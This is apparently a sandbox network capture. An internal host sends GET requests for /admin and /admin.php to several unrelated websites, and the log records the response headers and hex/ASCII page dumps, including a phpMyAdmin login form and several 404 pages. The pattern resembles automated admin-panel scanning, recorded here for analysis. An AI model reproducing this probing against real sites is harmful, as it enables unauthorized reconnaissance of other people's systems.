2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 0a 0a 20 20 0a 20 20 0a 20 20 0a 20 20 0a 0a 20 20 3c Data Ascii: AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_header"></div> <
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 61 62 6c 65 22 20 76 61 6c 75 65 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 36 30 35 61 34 30 34 61 35 33 35 37 33 66 36 39 33 63 37 39 36 33 32 61 33 32 34 66 32 38 37 34 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 Data Ascii: dden" name="table" value=""><input type="hidden" name="token" value="605a404a53573f693c79632a324f2874"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" i

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.4	64804	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	201	OUT	GET /admin HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:37 GMT Connection: close
2023-12-20 02:13:37 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.4	64825	104.26.7.37	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	210	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	806	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close cache-control: private vary: Accept-Encoding set-cookie: site_version_phase=108; expires=Sat, 14-Dec-2024 02:13:37 GMT; path=/ set-cookie: site_version=HDv3; expires=Sat, 14-Dec-2024 02:13:37 GMT; path=/ x-powered-by: ASP.NET lb: TclPrdLbHd3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FKDc%2B3Ru4oEjaFCKPa2GyGV6swWgSLcQN2uhQWew3qAO%2Bbe3oP%2FSd5p8T%2BMFNbBICSlaZe2pNXR8iKx58GhMYUTK6DJx4aEYK%2BK3P9flPoRzyiV9OPg6%2FO0yOyRxvx4vJ%2BcjiI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dfbee9e7418-MIA
2023-12-20 02:13:37 UTC	563	IN	Data Raw: 35 33 64 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 53d4<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 Data Ascii: min.css" /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomai
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 Data Ascii: eapis.com/css?family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 73 65 61 72 63 68 2d 69 63 6f 6e 2d 77 68 69 74 65 2e 70 6e 67 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 61 6c 74 3d 22 48 65 61 64 65 72 20 4d 6f 62 69 6c 65 20 53 65 61 72 63 68 22 20 62 6f 72 64 65 72 3d 22 30 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 65 61 64 65 72 4d 6f 62 69 6c 65 53 65 61 72 63 68 4d 61 67 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 6f 78 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e Data Ascii: mages/hdv3-img/search-icon-white.png" tabindex="0" alt="Header Mobile Search" border="0" onclick="headerMobileSearchMagFunc(); return false;"></div><div class="search-box " id="hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 32 22 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 74 65 6c 20 68 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 70 68 6f 6e 65 2d 69 63 6f 6e 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 6c 6c 2d 74 65 78 74 22 3e 2b 31 2d 33 30 33 2d 38 39 33 2d 30 35 35 32 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e Data Ascii: 2" class="header-tel hideAt991Width"><img src="https://static.HugeDomains.com/images/hdv3-img/phone-icon.png" alt><span class="tell-text">+1-303-893-0552</span></a></div></div></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " on
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 69 63 6f 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 68 6f 70 70 69 6e 67 43 61 72 74 4c 69 6e 6b 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 Data Ascii: /span></a></div><div class="cart-icon" style="padding-top:0px;"><a href="https://www.HugeDomains.com/shopping_cart.cfm" class="whiteLink " id="hdv3HeaderShoppingCartLinkID" aria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 Data Ascii: argin-left:0px; min-width:273px; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div clas
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 74 68 73 3c 2f 73 70 61 6e 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c Data Ascii: ths</span><a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmall
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 Data Ascii: div class="container"><div class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">UniqueAustralian.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6d 69 64 6c 65 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 22 3e 0a 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 Data Ascii: div class="circularJ_7"></div><div class="circularJ_8"></div></div></button></div><div class="tablet-block-midle" style="padding-bottom:25px;"><span style="font-size:16px;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeD

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.4	64757	66.96.160.139	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	170	OUT	GET /admin HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	262	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Expires: Wed, 20 Dec 2023 02:13:42 GMT Age: 5
2023-12-20 02:13:37 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.4	64792	15.197.192.55	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	384	OUT	GET /admin.php HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_HminrDxwoxCmrdndZET6/tZ+jjZyAzhPHArz/ShU2OZj2ZwntPL8TOkTQNvtKNwUIrbFbbHXv7Jjnw4o9TnX1w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:37 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.4	64801	162.159.134.42	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	171	OUT	GET /admin HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	880	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845dfbeea5335f-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z9K44VOxUwyqXQfkcGm0myQDNkhYN73dcOzVXTGD3uUcqwMxHhpQkv9YdEWIP9eYmijUJlams7QDQgIg9w39qmoZKzZbUnA7HhKbLubePmSI3oCovOeWbosWfvw4zSWKiZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:37 UTC	489	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
